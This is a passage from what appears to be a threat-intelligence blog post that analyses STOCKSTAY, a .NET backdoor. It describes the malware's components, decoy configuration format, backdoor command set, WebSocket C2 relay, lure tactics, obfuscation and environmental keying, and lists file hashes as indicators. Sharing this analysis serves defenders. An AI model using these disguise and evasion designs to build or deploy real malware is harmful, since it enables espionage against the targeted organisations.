<p><span>STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source </span><a href="https://github.com/sta/websocket-sharp" rel="noopener" target="_blank"><span>websocket-sharp</span></a><span> library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of </span><a href="https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-copydata" rel="noopener" target="_blank"><span>WM_COPYDATA</span></a><span> messages. </span></p>
<p><span>STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.</span></p></div>
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<div class="block-paragraph_advanced"><h4><span>STOCKSTAY.STOCKBROKER</span></h4>
<p><span>STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "</span><code>net</code><span>", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine. </span></p>
<h4><span>STOCKSTAY.STOCKMARKET</span></h4>
<p><span>STOCKSTAY.STOCKMARKET, internally referred to as “</span><code>cor</code><span>”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.&lt;snipped&gt;.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.&lt;snipped&gt;.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}</code></pre>
<p><span><span>Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "internal_id": "&lt;server_identifier&gt;",
  "internal_key": "&lt;server_public_key&gt;",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "&lt;websocket_c2_url&gt;",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}</code></pre>
<p><span><span>Figure 3: Decrypted STOCKSTAY configuration file format (extracted from </span><code>SystemConfiguration</code><span> field)</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.</span></p>
<p><span>On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an </span><span>“</span><code>internal_id</code><span>” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.</span></p>
<h4><span>STOCKSTAY.STOCKTRADER</span></h4>
<p><span>STOCKSTAY.STOCKTRADER, internally referred to as “</span><code>sys</code><span>”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.</span></p></div>
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<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><span>Task Command Name</span></p>
</th>
<th scope="col">
<p><span>Description</span></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>Del</code></p>
</td>
<td>
<p><span>Delete the specified files.</span></p>
<p><span>Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Dir</code></p>
</td>
<td>
<p><span>Generate a listing of the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2.</span></p>
<p><span>Optionally performs recursive directory listing.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Get</code></p>
</td>
<td>
<p><span>Retrieve one or more specified files. Allows for collection of files with specific extensions.</span></p>
<p><span>Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. </span></p>
<p><span>All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.</span></p>
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<p><code>Image</code></p>
</td>
<td>
<p><span>Perform a screen-capture of the victim’s screen.</span></p>
<p><span>The resultant image is base64-encoded for transmission to the C2.</span></p>
</td>
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<tr>
<td>
<p><code>MkDir</code></p>
</td>
<td>
<p><span>Create one or more directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MultyTask</code></p>
</td>
<td>
<p><span>Process multiple tasks at once.</span></p>
<p><span>Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task.</span></p>
<p><span>Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Put</code></p>
</td>
<td>
<p><span>Upload a file to the device.</span></p>
<p><span>Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode.</span></p>
<p><span>Confirmation of file upload, or details of any relevant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegDelete</code></p>
</td>
<td>
<p><span>Delete a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to delete.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegRead</code></p>
</td>
<td>
<p><span>Read a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to read.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegWrite</code></p>
</td>
<td>
<p><span>Set a registry value. </span></p>
<p><span>Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value. </span></p>
</td>
</tr>
<tr>
<td>
<p><code>RmDir</code></p>
</td>
<td>
<p><span>Delete the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Run</code></p>
</td>
<td>
<p><span>Execute a new process.</span></p>
<p><span>Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration.</span></p>
<p><span>All subprocesses are created windowless with redirected stdout.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Sysinfo</code></p>
</td>
<td>
<p><span>Conduct a system survey to gather key information about the infected host.</span></p>
<p><span>Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>OSVersion</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Architecture</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SerialNumber</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CodeSet</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CountryCode</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Locale</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>InstallDate</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>BootupTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MachineName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SystemDirectory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>LocalTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>AnsiCodePage</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UserName</span></p>
</li>
</ul>
<p><span>With respect to hardware, WMI is queried for the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>ProcessorName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NumberCores</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>ClockSpeed</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryCapacity</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryType</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskModel </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskSize</span></p>
</li>
</ul>
<p><span>The malware also captures a list of the names of running processes.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>UnpackArchive</code></p>
</td>
<td>
<p><span>Extract the specified ZIP file to its current directory.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
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</div>
<p><span><span>Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Related Downloaders and Installers</span></h4>
<h5><span>STOCKSTAY.MARKETMAKER</span></h5>
<p><span>STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.</span></p>
<h5><span>.NET AppDomainManager</span></h5>
<p><span>During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as </span><a href="https://attack.mitre.org/techniques/T1574/014/" rel="noopener" target="_blank"><span>.NET AppDomainManager injection</span></a><span>) for the initial deployment of samples to the target host.</span></p>
<h4><span>STOCKSTAY Server-Side Controller</span></h4>
<p><span>GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as </span><a href="https://render.com/" rel="noopener" target="_blank"><span>Render</span></a><span> platform which provides a platform for hosting web services, including </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSockets</span></a><span>. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="s9mt0">Figure 4: Overview of STOCKSTAY C2 Infrastructure</p></figcaption>
      
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<div class="block-paragraph_advanced"><p><span>The server extends </span><code>tornado.websocket.WebSocketHandler</code><span> to provide the interface described in Table 2, under the path </span><code>/ws</code><span>; aligning with all observed STOCKSTAY WebSocket C2 URLs.</span></p></div>
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<p><strong><span>Event</span></strong></p>
</td>
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<p><strong><span>Description</span></strong></p>
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<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.check_origin" rel="noopener" target="_blank"><span>WebSocketHandler.check_origin</span></a></p>
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<p><span>Hard-coded to return True to </span><span>accept all cross-origin traffic.</span></p>
</td>
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<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.open" rel="noopener" target="_blank"><span>WebSocketHandler.open</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket open. IP: {client_ip}</code></p>
</td>
</tr>
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<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_message" rel="noopener" target="_blank"><span>WebSocketHandler.on_message</span></a></p>
</td>
<td>
<p><span>Handles inbound messages from the connected client.</span></p>
<p><span>Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”.</span></p>
<p><span>Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type.</span></p>
<p><strong>Action: </strong><strong>send</strong></p>
<p><span>The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local </span><code>weather_data</code><span> database table.</span></p>
<p><code>container.target</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the </span><code>internal_id</code><span> or </span><code>i_id</code><span> field from the config file.</span></p>
</li>
</ul>
<p><code>container.sender</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the unique client uuid generated on first execution.</span></p>
</li>
</ul>
<p><code>container.message</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. </span></p>
</li>
</ul>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: send; trgt={target_id}; sndr={sender_id}</code></p>
<p><strong>Action: </strong><strong>recv</strong></p>
<p><span>Inbound </span><code>recv</code><span> requests simply specify the </span><code>container.sender</code><span> attribute, which corresponds with the client’s unique identifier.</span></p>
<p><span>The server then retrieves all messages from the </span><code>weather_data</code><span> database table where the target identifier (“degrees” column) matches the specified </span><code>container.sender</code><span>. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller.</span></p>
<p><span>Each matching row is returned to the client in the following format, before being deleted from the database.<br><br></span></p>
<pre class="language-plain"><code>{
	"target": degrees,
	"sender": pressure,
	"message": wdata,
	"ip": coords,
	"time": datetime
}</code></pre>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: recv; sndr={sender}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_close" rel="noopener" target="_blank"><span>WebSocketHandler.on_close</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket close. IP: {client_ip}</code></p>
</td>
</tr>
</tbody>
</table></div>
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<p><span><span>Table 2: Overview of STOCKSTAY WebSocket Server Interface</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Database Structure</span></h4>
<p><span>The server maintains a local SQLite3 database under the filename </span><code>weather_data1.db</code><span>, structured as shown in Tables 3 and 4.</span></p></div>
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</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
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<p><code>id</code></p>
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<p><span>Primary key</span></p>
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<p><code>degrees</code></p>
</td>
<td>
<p><span>Recipient's UUID from </span><code>container.target</code></p>
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<td>
<p><code>pressure</code></p>
</td>
<td>
<p><span>Sender's UUID from </span><code>container.sender</code></p>
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<td>
<p><code>wdata</code></p>
</td>
<td>
<p><span>Message data from </span><code>container.message</code></p>
</td>
</tr>
<tr>
<td>
<p><code>coords</code></p>
</td>
<td>
<p><span>Sender's IP address, extracted from </span><code>X-Forwarded-For</code><span> header, or </span><code>none_ip</code><span> if no sender specified.</span></p>
</td>
</tr>
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<td>
<p><code>status</code></p>
</td>
<td>
<p><span>Defaults to 0 - doesn't appear to be used or returned to the client.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of row creation</span></p>
</td>
</tr>
</tbody>
</table></div>
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<p><span><span>Table 3: </span><code>weather_data</code><span> database table structure</span></span></p>
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<p><code>id</code></p>
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<p><span>Primary key</span></p>
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<p><code>data</code></p>
</td>
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<p><span>Log message</span></p>
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<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of creation</span></p>
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<p><span><span>Table 4: </span><code>log</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Key Operational Characteristics</span></h3>
<h4><span>Consistent Use of Academic or Diplomatic Lure Content</span></h4>
<p><span>The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>compromising an email account belonging to a Ukrainian university to disseminate phishing emails;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using the names of an academic institution within the file name of a malicious RDP file;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>compromising a diplomatic education platform for phishing and distribution of malicious RDP files;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “education” and “diplo” within registered phishing domains; and</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.</span></p>
</li>
</ul>
<h4><span>Persistent Ukrainian Targeting</span></h4>
<p><span>A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations. </span></p>
<h4><span>Suspected European Targeting</span></h4>
<p><span>A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity. </span></p>
<h4><span>Deployment via Malicious RDP Files</span></h4>
<p><span>GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.</span></p>
<p><span>In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device. </span></p>
<p><span>Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload. </span></p>
<h4><span>Deployments at Multiple Stages of Operations</span></h4>
<p><span>Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations. </span></p>
<p><span>In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.</span></p>
<p><span>When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR. </span></p>
<h3><span>Overlaps with KAZUAR</span></h3>
<h4><span>K1MORPHER String Obfuscation</span></h4>
<p><span>In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was </span><a href="https://www.gdcvault.com/play/1024365/Math-for-Game-Programmers-Noise" rel="noopener" target="_blank"><span>presented</span></a><span> at Game Developers Conference 2017. </span></p>
<p><span>GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays. </span></p>
<p><span>In June 2025 GTIG noticed K1MORPHER code appearing in samples of KAZUAR. KAZUAR has historically used its own simple but effective code and string obfuscation techniques to evade detection, such as: the insertion of junk code; replacing static constant values with the results of XOR operations; and large quantities of unique character substitution tables. The actor’s use of K1MORPHER within STOCKSTAY appears to be trending toward mimicking KAZUAR’s multi-class obfuscation techniques, where obfuscation is handled by multiple distinct classes, as observed in suspected test builds of STOCKSTAY hosted on a compromised Cypriot website in April 2024.</span></p>
<h4><span>Implant Architecture</span><span> </span></h4>
<p><span>Since at least 2024, KAZUAR has been observed being deployed using a multi-component architecture, whereby C2 communication, task orchestration, and task execution are managed by separate components. Within the KAZUAR ecosystem, these components are referred to as “BRIDGE”, “KERNEL”, and “WORKER”, respectively.</span></p>
<p><span>As of late 2023, GTIG identified a similar separation of responsibilities within the STOCKSTAY ecosystem, with the same responsibilities being separated into distinct components. C2 communication is managed by the component tracked by GTIG as STOCKSTAY.STOCKBROKER, while task orchestration and execution are handled by STOCKSTAY.STOCKMARKET and STOCKSTAY.STOCKTRADER, respectively.</span></p>
<h4><span>Environmental Keying</span></h4>
<p><span>Both KAZUAR and STOCKSTAY ecosystems have been observed using environmental keying to protect themselves from detection and analysis.</span></p>
<p><span>DIAMONDBACK, a dropper often deployed prior to KAZUAR in the execution chain, has made use of a hash of the target’s hostname in decrypting its payload, to prevent divulgence of its intentions outside of the target environment. Later versions of DIAMONDBACK can be configured to incorporate the target’s username and domain name in the hash required to decrypt the payload.</span></p>
<p><span>STOCKSTAY has been observed using the hash of the target’s hostname or domain name during the decryption of its configuration data, preventing disclosure of C2 infrastructure unless operating in the intended environment.</span></p>
<h4><span>Summary of Overlaps</span></h4>
<p><span>GTIG assesses with moderate confidence that STOCKSTAY and KAZUAR may be developed in-part by a common developer or team, with active development occurring in tandem between the two malware ecosystems. We believe that STOCKSTAY is being developed in KAZUAR’s image, with several design decisions likely spawning from the threat actor’s wealth of experience in conducting operations using this long-standing toolkit. Both ecosystems rely heavily on .NET development, and have been observed using compromised WordPress sites during various stages of their operations.</span></p>
<p><span>We assess with low confidence that our observations of STOCKSTAY being deployed alongside KAZUAR during active operations may be a result of the threat actor seeking to test new capabilities in active operations, particularly where they may be expecting their existing access to be remediated in the near future. </span></p>
<h3><span>STOCKSTAY Timeline</span></h3>
<p><span>GTIG has conducted a thorough investigation into the history of STOCKSTAY, identifying suspected development activity as far back as December 2022. What follows is our assessment of the timeline of events surrounding STOCKSTAY’s development and deployment. To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) within each observed operation section, and in a </span><a href="https://www.virustotal.com/gui/collection/ed88a43801b5c58b9be27fa74abaa278a48904f3cc1bc905f2d85e32448b96c5/iocs" rel="noopener" target="_blank"><span>GTI Collection</span></a><span> for registered users.</span></p></div>
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<div class="block-paragraph_advanced"><h4><span>December 2022</span></h4>
<p><span>The version of the open-source websocket-sharp.dll bundled with the majority of observed STOCKSTAY.STOCKBROKER samples was last modified, according to timestamp information in MSI files and ZIP archives containing STOCKSTAY. Although built from an open-source library, this specific instance appears to have been compiled by the actor themselves, thus creating a uniquely identifiable artifact with which to track this malware’s continuous development.</span></p></div>
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<p><strong>Filename</strong></p>
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<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
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<p><code>websocket-sharp.dll</code></p>
</td>
<td>
<p><span>Instance of open-source library used by the threat actor</span></p>
</td>
<td>
<p><code>d1e54270433a94aa3d45d888e4c62299bee3480eb2cb4a5489c7dda69d476c3e</code></p>
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</table></div>
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<p><span><span>Table 5: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>September 21, 2023: Germany</span></h4>
<p><span>An early version of STOCKSTAY was uploaded to VirusTotal from Germany, under the filename “DriversPrinterGraphic.rar”. From the archive’s timestamps, it appears as though the sample was submitted within 20 minutes of being created, likely indicating this was submitted by the malware’s developer.</span></p>
<p><span>This version predates the malware’s separation into distinct role-based components, instead incorporating all core functionality into a single executable: StockMarketNews.exe. Additionally, this version of STOCKSTAY contained the user interface shown in Figure 6, which enables viewing/editing of configuration options and command messages, while still presenting as a stock market utility.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="qw6cr">Figure 6: Early STOCKSTAY user-interface</p></figcaption>
      
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<div class="block-paragraph_advanced"><p><span>This particular STOCKSTAY sample uses a slightly different configuration file format; however, the underlying configuration options are consistent with later versions. This sample also utilizes environmental keying for its configuration file; using the lower-cased hostname of the intended target as the decryption password. GTIG has been unable to recover the password at this time.</span></p></div>
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<p><strong>Filename</strong></p>
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<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
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<td>
<p><code>DriversPrinterGraphic.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY</span></p>
</td>
<td>
<p><code>e6d8192960a89d5480868b94088cccdaa1560f9c8a0b0282ced2b7c1f72341b6</code></p>
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<p><code>StockMarketNews.exe</code></p>
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<td>
<p><span>STOCKSTAY combined executable</span></p>
</td>
<td>
<p><code>1fc23ec18a94a599a34c74ef5f49a1e27acd37a07d5846661702b5e7e81a6a24</code></p>
</td>
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<td>
<p><code>sample.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f</code></p>
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</tbody>
</table></div>
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<p><span><span>Table 6: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>December 5 – 6, 2023: Netherlands</span></h4>
<p><span>A further RAR archive containing STOCKSTAY was submitted to VirusTotal at 2023-12-06 08:52:49 from the Netherlands, under the filename “apps_libwallets_v1.3.rar”. This archive was last modified the previous day at 2023-12-05 16:47:42. This pattern may indicate that the archive was created by the individual at the end of their working day, and then submitted the following day when they returned to the office.</span></p>
<p><span>This instance of STOCKSTAY was the first case observed by GTIG of the malware’s core functionality being separated into distinct role-based components, using the filenames shown in Table 7.</span></p></div>
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<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
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<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><span>StockMarketView.exe</span></p>
</td>
</tr>
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<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><span>StockMarketNet.exe</span></p>
</td>
</tr>
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<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><span>StockMarketSystem.exe</span></p>
</td>
</tr>
</tbody>
</table></div>
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<p><span><span>Table 7: STOCKSTAY component filenames observed in December 2023</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>Similar to the sample observed in September 2023, this instance of STOCKSTAY also used environmental keying, however this instance used the target computer’s domain name as the configuration password. GTIG has been unable to recover the password at this time.</span></p></div>
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<p><strong>Filename</strong></p>
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<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
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<td>
<p><code>apps_libwallets_v1.3.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>81aabf646619ea5f4a72457cd3aa17c5988003d67e6454f45e7cb33613021bac</code></p>
</td>
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<td>
<p><code>StockMarketView.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>9164054d0bf0b7c8820da4f742860940998984555e65820e4fa8dd07b6bd67ec</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>34fcbe7e90fc87a4f3766469c19a64f24672d7adb99e0198f5ba10d58911368b</code></p>
</td>
</tr>
<tr>
<td>
<p><code>StockMarketSystem.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>0a545dd1b703cddfb3d582c8c70f65f556bbd580bfa836a387121eb837bda61b</code></p>
</td>
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<td>
<p><code>default.conf</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>2623c6e3c1f5a7b5e735a64813bc0e1382ae45831f5fadffb08c0e7b096627f7</code></p>
</td>
</tr>
</tbody>
</table></div>
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<p><span><span>Table 8: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>January 2024: Ukraine</span></h4>
